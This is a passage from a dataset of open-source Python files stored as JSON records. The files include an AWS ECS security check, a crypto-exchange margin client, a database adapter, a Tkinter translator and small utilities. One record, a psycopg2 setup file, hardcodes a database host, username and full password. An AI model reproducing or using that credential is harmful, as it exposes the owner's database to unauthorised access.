some funky edge cases, keep that in mind before you yeet an issue at me, please ;)\n if str(response[\"networkMode\"]) == 'awsvpc':\n continue\n else:\n # Loop container definitions \n for cdef in response[\"containerDefinitions\"]:\n # ISO Time\n iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())\n cdefName = str(cdef[\"name\"])\n try:\n # This is a passing check\n secOpts = str(cdef[\"dockerSecurityOptions\"])\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-security-labels-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has Docker Security Options configured.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running on EC2 Compute-types should have Docker Security Options configured. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\"\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName,\n 'DockerSecurityOptions': secOpts\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.IP-1\",\n \"NIST SP 800-53 CM-2\",\n \"NIST SP 800-53 CM-3\",\n \"NIST SP 800-53 CM-4\",\n \"NIST SP 800-53 CM-5\",\n \"NIST SP 800-53 CM-6\",\n \"NIST SP 800-53 CM-7\",\n \"NIST SP 800-53 CM-9\",\n \"NIST SP 800-53 SA-10\",\n \"AICPA TSC A1.3\",\n \"AICPA TSC CC1.4\",\n \"AICPA TSC CC5.3\",\n \"AICPA TSC CC6.2\",\n \"AICPA TSC CC7.1\",\n \"AICPA TSC CC7.3\",\n \"AICPA TSC CC7.4\",\n \"ISO 27001:2013 A.12.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n \"ISO 27001:2013 A.12.6.2\",\n \"ISO 27001:2013 A.14.2.2\",\n \"ISO 27001:2013 A.14.2.3\",\n \"ISO 27001:2013 A.14.2.4\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\"\n }\n yield finding\n except:\n secOpts = str('[\"NO_OPTIONS\"]')\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-security-labels-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"HIGH\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" does not have any Docker Security Options configured. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running on EC2 Compute-types should have Docker Security Options configured. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\"\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName,\n 'DockerSecurityOptions': secOpts\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.IP-1\",\n \"NIST SP 800-53 CM-2\",\n \"NIST SP 800-53 CM-3\",\n \"NIST SP 800-53 CM-4\",\n \"NIST SP 800-53 CM-5\",\n \"NIST SP 800-53 CM-6\",\n \"NIST SP 800-53 CM-7\",\n \"NIST SP 800-53 CM-9\",\n \"NIST SP 800-53 SA-10\",\n \"AICPA TSC A1.3\",\n \"AICPA TSC CC1.4\",\n \"AICPA TSC CC5.3\",\n \"AICPA TSC CC6.2\",\n \"AICPA TSC CC7.1\",\n \"AICPA TSC CC7.3\",\n \"AICPA TSC CC7.4\",\n \"ISO 27001:2013 A.12.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n \"ISO 27001:2013 A.12.6.2\",\n \"ISO 27001:2013 A.14.2.2\",\n \"ISO 27001:2013 A.14.2.3\",\n \"ISO 27001:2013 A.14.2.4\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\"\n }\n yield finding\n except Exception as e:\n print(e)", "source": "kbhagi/ElectricEye", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 12 13:34:49 2020\n\n@author: lukepinkel\n\"\"\"\nimport numpy as np\nimport scipy as sp\nimport scipy.special\n\ndef poisson_logp(x, mu, logp=True):\n p = sp.special.xlogy(x, mu) - sp.special.gammaln(x + 1) - mu\n if logp==False:\n p = np.exp(p)\n return p\n ", "source": "lukepinkel/pylmm", "license": "MIT"}
+{"text": "import psycopg2\n\nurl = \"dbname='da43n1slakcjkc' user='msqgxzgmcskvst' host='ec2-54-80-184-43.compute-1.amazonaws.com' port=5432 password='9281f925b1e2298e8d62812d9d4e430c1054db62e918c282d7039fa85b1759fa'\"\n\nclass database_setup(object):\n\n def __init__(self):\n self.conn = psycopg2.connect(url)\n self.cursor = self.conn.cursor()\n\n def destroy_tables(self):\n self.cursor.execute(\"\"\"DROP TABLE IF EXISTS user CASCADE;\"\"\")\n\n self.conn.commit()\n\n def create_tables(self):\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Users (\n user_id SERIAL NOT NULL,\n fname VARCHAR(25) NOT NULL,\n lname VARCHAR(25) NOT NULL,\n post_date DATE NOT NULL DEFAULT CURRENT_DATE,\n email VARCHAR(50) UNIQUE NOT NULL,\n password VARCHAR(256) NOT NULL,\n photo VARCHAR(255) NOT NULL,\n PRIMARY KEY (email)\n );\"\"\")\n\n\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Report (\n report_id SERIAL NOT NULL,\n num_tweet INT NOT NULL,\n tweet VARCHAR(255) NOT NULL,\n plot_bar VARCHAR(255) NOT NULL,\n plot_pie VARCHAR(255) NOT NULL,\n post_date DATE NOT NULL DEFAULT CURRENT_DATE,\n email VARCHAR(50) REFERENCES Users(email) NOT NULL,\n PRIMARY KEY (report_id)\n );\"\"\")\n\n\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS Config (\n config_id SERIAL NOT NULL,\n consumerKey TEXT NOT NULL,\n consumerSecret TEXT NOT NULL,\n accessToken TEXT NOT NULL,\n accessSecret TEXT NOT NULL,\n email VARCHAR(50) REFERENCES Users(email) NOT NULL,\n PRIMARY KEY (config_id)\n );\"\"\")\n\n self.conn.commit()\n", "source": "bmugenya/Zup", "license": "MIT"}
+{"text": "# O(n ** 2)\ndef bubble_sort(slist, asc=True):\n need_exchanges = False\n for iteration in range(len(slist))[:: -1]:\n for j in range(iteration):\n if asc:\n if slist[j] > slist[j + 1]:\n need_exchanges = True\n slist[j], slist[j + 1] = slist[j + 1], slist[j]\n else:\n if slist[j] < slist[j + 1]:\n need_exchanges = True\n slist[j], slist[j + 1] = slist[j + 1], slist[j]\n if not need_exchanges:\n return slist\n return slist\n\n\nprint(bubble_sort([8, 1, 13, 34, 5, 2, 21, 3, 1], False))\nprint(bubble_sort([1, 2, 3, 4, 5, 6]))\n", "source": "Krylovsentry/Algorithms", "license": "MIT"}
+{"text": "import discord\n\ndef check(ctx):\n def inner(m):\n return m.author == ctx.author\n return inner\n\ndef Membercheck(ctx):\n def inner(m):\n return m.author == ctx.guild.me\n return inner\n\ndef warn_permission(ctx, Member):\n if isinstance(ctx.channel, discord.TextChannel):\n \n return ctx.author.guild_permissions.manage_messages and ctx.author.top_role > Member.top_role and ctx.author.guild_permissions >= Member.guild_permissions\n #bug with user with same permissions maybe and other stuff(seems fixed for right now, leaving note just in case.)\n \n\n if isinstance(ctx.channel, discord.DMChannel):\n return True\n\n\ndef cleanup_permission(ctx):\n if isinstance(ctx.channel, discord.TextChannel):\n return ctx.author.guild_permissions.manage_messages\n\n if isinstance(ctx.channel, discord.DMChannel):\n return True\n\ndef mutual_guild_check(ctx, user):\n mutual_guilds = set(ctx.author.mutual_guilds)\n mutual_guilds2 = set(user.mutual_guilds)\n\n return bool(mutual_guilds.intersection(mutual_guilds2))\n\nasync def filter_commands(ctx, command_list):\n async def check(cmd, ctx):\n try:\n return await cmd.can_run(ctx)\n\n except:\n return False\n \n return [cmd for cmd in command_list if await check(cmd, ctx)]", "source": "JDJGInc/JDBot", "license": "MIT"}
+{"text": "\nfrom huobi.utils.input_checker import *\n\n\nclass MarginClient(object):\n\n def __init__(self, **kwargs):\n \"\"\"\n Create the request client instance.\n :param kwargs: The option of request connection.\n api_key: The public key applied from Huobi.\n secret_key: The private key applied from Huobi.\n url: The URL name like \"https://api.huobi.pro\".\n init_log: to init logger\n \"\"\"\n self.__kwargs = kwargs\n\n def post_transfer_in_margin(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Transfer asset from spot account to margin account.\n\n :param symbol: The symbol, like \"btcusdt\". (mandatory)\n :param currency: The currency of transfer. (mandatory)\n :param amount: The amount of transfer. (mandatory)\n :return:\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\": currency,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_transfer_in_margin import PostTransferInMarginService\n return PostTransferInMarginService(params).request(**self.__kwargs)\n\n def post_transfer_out_margin(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Transfer asset from margin account to spot account.\n\n :param symbol: The symbol, like \"btcusdt\". (mandatory)\n :param currency: The currency of transfer. (mandatory)\n :param amount: The amount of transfer. (mandatory)\n :return:\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\": currency,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_transfer_out_margin import PostTransferOutMarginService\n return PostTransferOutMarginService(params).request(**self.__kwargs)\n\n def get_margin_account_balance(self, symbol: 'str') -> list:\n \"\"\"\n Get the Balance of the Margin Loan Account.\n\n :param symbol: The currency, like \"btc\". (mandatory)\n :return: The margin loan account detail list.\n \"\"\"\n check_symbol(symbol)\n\n params = {\n \"symbol\": symbol\n }\n\n from huobi.service.margin.get_margin_account_balance import GetMarginAccountBalanceService\n return GetMarginAccountBalanceService(params).request(**self.__kwargs)\n\n def post_create_margin_order(self, symbol: 'str', currency: 'str', amount: 'float') -> int:\n \"\"\"\n Submit a request to borrow with margin account.\n\n :param symbol: The trading symbol to borrow margin, e.g. \"btcusdt\", \"bccbtc\". (mandatory)\n :param currency: The currency to borrow,like \"btc\". (mandatory)\n :param amount: The amount of currency to borrow. (mandatory)\n :return: The margin order id.\n \"\"\"\n check_symbol(symbol)\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"symbol\": symbol,\n \"currency\" : currency,\n \"amount\" : amount\n }\n\n from huobi.service.margin.post_create_margin_order import PostCreateMarginOrderService\n return PostCreateMarginOrderService(params).request(**self.__kwargs)\n\n def post_repay_margin_order(self, loan_id: 'int', amount: 'float') -> int:\n \"\"\"\n Get the margin loan records.\n\n :param load_id: The previously returned order id when loan order was created. (mandatory)\n :param amount: The amount of currency to repay. (mandatory)\n :return: The margin order id.\n \"\"\"\n check_should_not_none(loan_id, \"loan_id\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"loan_id\": loan_id,\n \"amount\": amount\n }\n\n from huobi.service.margin.post_repay_margin_order import PostRepayMarginOrderService\n return PostRepayMarginOrderService(params).request(**self.__kwargs)\n\n def get_margin_loan_orders(self, symbol: 'str', start_date: 'str' = None, end_date: 'str' = None,\n states: 'LoanOrderState' = None, from_id: 'int' = None,\n size: 'int' = None, direction: 'QueryDirection' = None) -> list:\n \"\"\"\n Get the margin loan records.\n\n :param symbol: The symbol, like \"btcusdt\" (mandatory).\n :param start_date: The search starts date in format yyyy-mm-dd. (optional).\n :param end_date: The search end date in format yyyy-mm-dd.(optional, can be null).\n :param states: The loan order states, it could be created, accrual, cleared or invalid. (optional)\n :param from_id: Search order id to begin with. (optional)\n :param size: The number of orders to return.. (optional)\n :param direction: The query direction, prev or next. (optional)\n :return: The list of the margin loan records.\n \"\"\"\n\n check_symbol(symbol)\n start_date = format_date(start_date, \"start_date\")\n end_date = format_date(end_date, \"end_date\")\n\n params = {\n \"symbol\" : symbol,\n \"start-date\" : start_date,\n \"end-date\" : end_date,\n \"states\" : states,\n \"from\" : from_id,\n \"size\" : size,\n \"direct\" : direction\n }\n\n from huobi.service.margin.get_margin_loan_orders import GetMarginLoanOrdersService\n return GetMarginLoanOrdersService(params).request(**self.__kwargs)\n\n def get_margin_loan_info(self, symbols: 'str'=None) -> list:\n \"\"\"\n The request of get margin loan info, can return currency loan info list.\n\n :param symbols: The symbol, like \"btcusdt,htusdt\". (optional)\n :return: The cross margin loan info.\n \"\"\"\n\n check_symbol(symbols)\n params = {\n \"symbols\" : symbols\n }\n\n from huobi.service.margin.get_margin_loan_info import GetMarginLoanInfoService\n return GetMarginLoanInfoService(params).request(**self.__kwargs)\n\n def get_cross_margin_loan_info(self) -> list:\n \"\"\"\n The request of currency loan info list.\n\n :return: The cross margin loan info list.\n \"\"\"\n params = {}\n\n from huobi.service.margin.get_cross_margin_loan_info import GetCrossMarginLoanInfoService\n return GetCrossMarginLoanInfoService(params).request(**self.__kwargs)\n\n\n def post_cross_margin_transfer_in(self, currency: 'str', amount:'float') -> int:\n \"\"\"\n transfer currency to cross account.\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return transfer id.\n \"\"\"\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_transfer_in import PostCrossMarginTransferInService\n return PostCrossMarginTransferInService(params).request(**self.__kwargs)\n\n def post_cross_margin_transfer_out(self, currency: 'str', amount:'float') -> int:\n \"\"\"\n transfer currency to cross account.\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return transfer id.\n \"\"\"\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_transfer_out import PostCrossMarginTransferOutService\n return PostCrossMarginTransferOutService(params).request(**self.__kwargs)\n\n def post_cross_margin_create_loan_orders(self, currency:'str', amount: 'float') -> int:\n \"\"\"\n create cross margin loan orders\n\n :param currency: currency name (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return order id.\n \"\"\"\n\n check_should_not_none(currency, \"currency\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"currency\": currency\n }\n\n from huobi.service.margin.post_cross_margin_create_loan_orders import PostCrossMarginCreateLoanOrdersService\n return PostCrossMarginCreateLoanOrdersService(params).request(**self.__kwargs)\n\n def post_cross_margin_loan_order_repay(self, order_id: 'str', amount: 'float'):\n \"\"\"\n repay cross margin loan orders\n\n :param order_id: order_id for loan (mandatory)\n :param amount: transfer amount (mandatory)\n :return: return order id.\n \"\"\"\n\n check_should_not_none(order_id, \"order-id\")\n check_should_not_none(amount, \"amount\")\n\n params = {\n \"amount\": amount,\n \"order-id\": order_id\n }\n\n from huobi.service.margin.post_cross_margin_loan_order_repay import PostCrossMarginLoanOrderRepayService\n return PostCrossMarginLoanOrderRepayService(params).request(**self.__kwargs)\n\n def get_cross_margin_loan_orders(self, currency: 'str' = None, state: 'str' = None,\n start_date: 'str' = None, end_date: 'str' = None,\n from_id: 'int' = None, size: 'int' = None, direct: 'str' = None,\n sub_uid: 'int' = None) -> list:\n \"\"\"\n get cross margin loan orders\n\n :return: return list.\n \"\"\"\n params = {\n \"currency\": currency,\n \"state\": state,\n \"start-date\": start_date,\n \"end-date\": end_date,\n \"from\": from_id,\n \"size\": size,\n \"direct\": direct,\n \"sub-uid\": sub_uid\n }\n\n from huobi.service.margin.get_cross_margin_loan_orders import GetCrossMarginLoanOrdersService\n return GetCrossMarginLoanOrdersService(params).request(**self.__kwargs)\n\n def get_cross_margin_account_balance(self, sub_uid:'int'=None):\n \"\"\"\n get cross margin account balance\n\n :return: cross-margin account.\n \"\"\"\n params = {\n \"sub-uid\": sub_uid\n }\n\n from huobi.service.margin.get_cross_margin_account_balance import GetCrossMarginAccountBalanceService\n return GetCrossMarginAccountBalanceService(params).request(**self.__kwargs)", "source": "codemonkey89/huobi_Python", "license": "Apache-2.0"}
+{"text": "import re\nfrom .._compat import integer_types, long\nfrom .base import SQLAdapter\nfrom . import adapters\n\n\n@adapters.register_for(\"sapdb\")\nclass SAPDB(SQLAdapter):\n dbengine = \"sapdb\"\n drivers = (\"sapdb\",)\n\n REGEX_URI = (\n \"^(?P[^:@]+)(:(?P[^@]*))?\"\n r\"@(?P[^:/]+|\\[[^\\]]+\\])/(?P[^?]+)$\"\n )\n\n def _initialize_(self):\n super(SAPDB, self)._initialize_()\n ruri = self.uri.split(\"://\", 1)[1]\n m = re.match(self.REGEX_URI, ruri)\n if not m:\n raise SyntaxError(\"Invalid URI string in DAL\")\n user = self.credential_decoder(m.group(\"user\"))\n password = self.credential_decoder(m.group(\"password\"))\n if password is None:\n password = \"\"\n host = m.group(\"host\")\n db = m.group(\"db\")\n self.driver_args.update(user=user, password=password, database=db, host=host)\n\n def connector(self):\n self.driver.connect(**self.driver_args)\n\n def lastrowid(self, table):\n self.execute(\"select %s.NEXTVAL from dual\" % table._sequence_name)\n return long(self.cursor.fetchone()[0])\n\n def create_sequence_and_triggers(self, query, table, **args):\n self.execute(\"CREATE SEQUENCE %s;\" % table._sequence_name)\n self.execute(\n \"ALTER TABLE %s ALTER COLUMN %s SET DEFAULT NEXTVAL('%s');\"\n % (table._rname, table._id._rname, table._sequence_name)\n )\n self.execute(query)\n", "source": "GeorgesBrantley/ResistanceGame", "license": "BSD-3-Clause"}
+{"text": "from wpc.report.issue import issue\nimport xml.etree.cElementTree as etree\nfrom lxml import etree as letree\nfrom operator import itemgetter, attrgetter, methodcaller\n\n\n# TODO should this class contain info about the scan? or define a new class called report?\n# Version of script\n# Date, time of audit\n# Who the audit ran as (username, groups, privs)\n# ...\nclass issues:\n def __init__(self):\n self.issues = []\n\n def get_by_id(self, identifier):\n # search for issue\n for i in self.issues:\n if i.get_id() == identifier:\n return i\n\n # create new issue\n i = issue(identifier)\n self.add_issue(i)\n return i\n\n def add_issue(self, i):\n self.issues.append(i)\n\n def add_supporting_data(self, identifier, k, v):\n self.get_by_id(identifier).add_supporting_data(k, v)\n\n def get_all(self):\n s = sorted(self.issues, key=methodcaller('get_confidence'), reverse=True)\n return sorted(s, key=methodcaller('get_severity'), reverse=True)\n\n def as_xml_string(self):\n return etree.tostring(self.as_xml())\n\n def as_xml(self):\n r = etree.Element('issues')\n for i in self.get_all():\n r.append(i.as_xml())\n return r\n\n def as_text(self):\n xslt_fh = open('xsl/text.xsl', 'r') # TODO need to be able to run from other dirs too!\n xslt_str = xslt_fh.read()\n xslt_fh.close()\n xslt_root = letree.XML(xslt_str)\n transform = letree.XSLT(xslt_root)\n return str(transform(letree.XML(self.as_xml_string())))\n\n def as_html(self):\n xslt_fh = open('xsl/html.xsl', 'r') # TODO need to be able to run from other dirs too!\n xslt_str = xslt_fh.read()\n xslt_fh.close()\n xslt_root = letree.XML(xslt_str)\n transform = letree.XSLT(xslt_root)\n return str(transform(letree.XML(self.as_xml_string())))\n", "source": "cys3c/viper-shell", "license": "PSF-2.0"}
+{"text": "from django.apps import AppConfig\n\n\nclass CmspluginMarkdownConfig(AppConfig):\n name = 'cmsplugin_markdown'\n", "source": "glomium/cmstemplate", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/python3\n\nimport tkinter as tk\nfrom tkinter import messagebox as msg\nfrom tkinter.ttk import Notebook\nfrom tkinter import ttk\nimport tkinter.font as font\n\nimport requests\n\n\nclass LanguageTab(tk.Frame):\n def __init__(self, master, lang_name, lang_code):\n super().__init__(master)\n\n # fonts for all widgets\n self.option_add(\"*Font\", (\"courier\",16, 'bold')) \n # font to use for label widgets\n self.option_add(\"*Label.Font\", (\"arial\",12))\n # font to use for label widgets\n self.option_add(\"*Button.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Tab.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Frame.Font\", (\"courier\",14, 'bold'))\n self.lang_name = lang_name\n self.lang_code = lang_code\n self.translation_var = tk.StringVar(self)\n self.translation_var.set(\"\")\n self.copy_button = tk.Button(self, text=\"Copy to Clipboard\", command=self.copy_to_clipboard)\n #self.copy_button.pack(side=tk.BOTTOM, fill=tk.X)\n self.translated_label = tk.Label(self, textvar=self.translation_var, bg=\"lightgrey\", fg=\"black\") \n #self.translated_label.pack(side=tk.TOP, fill=tk.BOTH, expand=1)\n\n\n def copy_to_clipboard(self):\n root = self.winfo_toplevel()\n root.clipboard_clear()\n root.clipboard_append(self.translation_var.get())\n msg.showinfo(\"Copied Successfully\", \"Text copied to clipboard\")\n\n\nclass NewLanguageForm(tk.Toplevel):\n def __init__(self, master):\n super().__init__()\n self.master = master\n self.title(\"Add new Language\")\n self.geometry(\"500x200\")\n self.name_label = tk.Label(self, text=\"Language Name\")\n self.name_entry = tk.Entry(self, bg=\"white\", fg=\"black\")\n self.code_label = tk.Label(self, text=\"Language Code\")\n self.code_entry = tk.Entry(self, bg=\"white\", fg=\"black\")\n self.submit_button = tk.Button(self, text=\"Submit\", command=self.submit)\n self.name_label.pack(fill=tk.BOTH, expand=1)\n self.name_entry.pack(fill=tk.BOTH, expand=1)\n self.code_label.pack(fill=tk.BOTH, expand=1)\n self.code_entry.pack(fill=tk.BOTH, expand=1)\n self.submit_button.pack(fill=tk.X)\n\n def submit(self):\n lang_name = self.name_entry.get()\n lang_code = self.code_entry.get()\n\n if lang_name and lang_code:\n new_tab = LanguageTab(self.master, lang_name, lang_code)\n self.master.languages_menu.add_command(label=lang_name, command=lambda: self.master.add_new_tab(new_tab))\n msg.showinfo(\"Language Option Added\", \"Language option \" + lang_name + \" added to menu\")\n self.destroy()\n else:\n msg.showerror(\"Missing Information\", \"Please add both a name and code\")\n\n\nclass TranslateBook(tk.Tk):\n def __init__(self):\n super().__init__()\n self.title(\"Translation Book v3\")\n self.geometry(\"1000x700\")\n \n # fonts for all widgets\n self.option_add(\"*Font\", (\"courier\",16, 'bold')) \n # font to use for label widgets\n self.option_add(\"*Label.Font\", (\"arial\",12))\n # font to use for label widgets\n self.option_add(\"*Button.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Tab.Font\", (\"arial\",14, 'bold'))\n self.option_add(\"*Frame.Font\", (\"courier\",14, 'bold'))\n\n self.notestyle = ttk.Style()\n self.notestyle.configure(\"TNotebook.Tab\", borderwidth=2, font = (\"times\",18), padding=(15, 7))\n\n self.myFont2 = font.Font(size=16)\n self.menu = tk.Menu(self, bg=\"lightgrey\", fg=\"black\")\n self.languages_menu = tk.Menu(self.menu, tearoff=0, bg=\"lightgrey\", fg=\"black\")\n self.languages_menu.add_command(label=\"Add New\", command=self.show_new_language_popup)\n self.languages_menu.add_command(label=\"Franc\u00e9s\", command=lambda: self.add_new_tab(LanguageTab(self, \"Franc\u00e9s\", \"fr\")))\n self.languages_menu.add_command(label=\"Catalan\", command=lambda: self.add_new_tab(LanguageTab(self, \"Catalan\", \"ca\")))\n self.languages_menu.add_command(label=\"Portugues\", command=lambda: self.add_new_tab(LanguageTab(self, \"Portugues\", \"pt\")))\n self.languages_menu.add_command(label=\"Aleman\", command=lambda: self.add_new_tab(LanguageTab(self, \"Aleman\", \"de\")))\n self.languages_menu['font'] = self.myFont2\n self.menu.add_cascade(label=\"Languages\", menu=self.languages_menu)\n self.config(menu=self.menu)\n self.notebook = Notebook(self)\n self.language_tabs = []\n spanish_tab = tk.Frame(self.notebook)\n myFont = font.Font(family = 'courier', size=18, weight = 'bold')\n self.translate_button = tk.Button(spanish_tab, text=\"Translate\", command=self.translate, height = 2) \n self.translate_button.pack(side=tk.BOTTOM, fill=tk.X)\n self.translate_button['font'] = myFont\n self.spanish_entry = tk.Text(spanish_tab, bg=\"white\", fg=\"black\")\n self.spanish_entry.pack(side=tk.TOP, expand=1)\n self.notebook.add(spanish_tab, text=\"Espa\u00f1ol\")\n self.notebook.pack(fill=tk.BOTH, expand=1)\n\n def translate(self, text=None):\n if len(self.language_tabs) < 1:\n msg.showerror(\"No Languages\", \"No languages added. Please add some from the menu\")\n return\n\n if not text:\n text = self.spanish_entry.get(1.0, tk.END).strip()\n\n url = \"https://translate.googleapis.com/translate_a/single?client=gtx&sl={}&tl={}&dt=t&q={}\"\n\n try:\n for language in self.language_tabs:\n full_url = url.format(\"es\", language.lang_code, text)\n r = requests.get(full_url)\n r.raise_for_status()\n translation = r.json()[0][0][0]\n language.translation_var.set(translation)\n msg.showinfo(\"translation\", translation)\n #msg.showinfo(\"Translations Successful\", \"Text successfully translated\")\n except Exception as e:\n msg.showerror(\"Translation Failed\", str(e))\n# else:\n# msg.showinfo(\"Translations Successful\", \"Text successfully translated\")\n\n def add_new_tab(self, tab):\n self.language_tabs.append(tab)\n self.notebook.add(tab, text=tab.lang_name)\n\n try:\n self.languages_menu.entryconfig(tab.lang_name, state=\"disabled\")\n except:\n # language isn't in menu.\n pass\n\n def show_new_language_popup(self):\n NewLanguageForm(self)\n\n\nif __name__ == \"__main__\":\n translatebook = TranslateBook()\n english_tab = LanguageTab(translatebook, \"Ingl\u00e9s\", \"en\")\n translatebook.add_new_tab(english_tab)\n\n# german_tab = LanguageTab(translatebook, \"Alem\u00e1n\", \"de\")\n# translatebook.add_new_tab(german_tab)\n\n translatebook.mainloop()\n\n# c\u00f3digos de lenguages --> https://www.labnol.org/code/19899-google-translate-languages", "source": "Jalagarto/translator", "license": "Apache-2.0"}
+{"text": "from .snapshots import set_client\nfrom .snapshots import get_snapshots\nfrom .snapshots import tag_snapshot\nfrom .snapshots import set_drymode\nfrom .snapshots import unset_drymode", "source": "gabrielperezs/recycling-snapshots", "license": "Apache-2.0"}
+{"text": "\"\"\"\nAn example of running autofaiss by pyspark to produce N indices.\n\nYou need to install pyspark before using the following example.\n\"\"\"\nfrom typing import Dict\n\nimport faiss\nimport numpy as np\n\nfrom autofaiss import build_index\n\n# You'd better create a spark session before calling build_index,\n# otherwise, a spark session would be created by autofaiss with the least configuration.\n\n_, index_path2_metric_infos = build_index(\n embeddings=\"hdfs://root/path/to/your/embeddings/folder\",\n distributed=\"pyspark\",\n file_format=\"parquet\",\n temporary_indices_folder=\"hdfs://root/tmp/distributed_autofaiss_indices\",\n current_memory_available=\"10G\",\n max_index_memory_usage=\"100G\",\n nb_indices_to_keep=10,\n)\n\nindex_paths = sorted(index_path2_metric_infos.keys())\n\n###########################################\n# Use case 1: merging 10 indices into one #\n###########################################\nmerged = faiss.read_index(index_paths[0])\nfor rest_index_file in index_paths[1:]:\n index = faiss.read_index(rest_index_file)\n faiss.merge_into(merged, index, shift_ids=False)\nwith open(\"merged-knn.index\", \"wb\") as f:\n faiss.write_index(merged, faiss.PyCallbackIOWriter(f.write))\n\n########################################\n# Use case 2: searching from N indices #\n########################################\nK, DIM, all_distances, all_ids, NB_QUERIES = 5, 512, [], [], 2\nqueries = faiss.rand((NB_QUERIES, DIM))\nfor rest_index_file in index_paths:\n index = faiss.read_index(rest_index_file)\n distances, ids = index.search(queries, k=K)\n all_distances.append(distances)\n all_ids.append(ids)\n\ndists_arr = np.stack(all_distances, axis=1).reshape(NB_QUERIES, -1)\nknn_ids_arr = np.stack(all_ids, axis=1).reshape(NB_QUERIES, -1)\n\nsorted_k_indices = np.argsort(-dists_arr)[:, :K]\nsorted_k_dists = np.take_along_axis(dists_arr, sorted_k_indices, axis=1)\nsorted_k_ids = np.take_along_axis(knn_ids_arr, sorted_k_indices, axis=1)\nprint(f\"{K} nearest distances: 